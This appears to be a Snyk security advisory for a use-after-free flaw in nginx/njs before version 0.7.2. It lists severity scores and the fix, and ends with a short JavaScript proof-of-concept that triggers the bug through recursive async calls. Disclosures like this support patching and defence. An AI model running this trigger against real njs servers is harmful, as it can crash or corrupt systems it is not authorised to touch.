Use After Free Affecting nginx/njs package, versions [,0.7.2)


0.0
high

Snyk CVSS

    Attack Complexity Low
    User Interaction Required
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.24% (62nd percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-NGINXNJS-2401469
  • published 18 Feb 2022
  • disclosed 15 Feb 2022
  • credit P1umer, afang5472, Kotori

How to fix?

Upgrade nginx/njs to version 0.7.2 or higher.

Overview

Affected versions of this package are vulnerable to Use After Free due to improper recursive async in njs_await_fulfilled, which causes the PromiseCapability record to be linked to the incorrect execution context.

PoC:

function main() {
    async function v6(v7) {
        const v10 = v7(v7);
        const v11 = await "split";
        Object.values();
    }
    const v15 = v6(v6);
    }
main();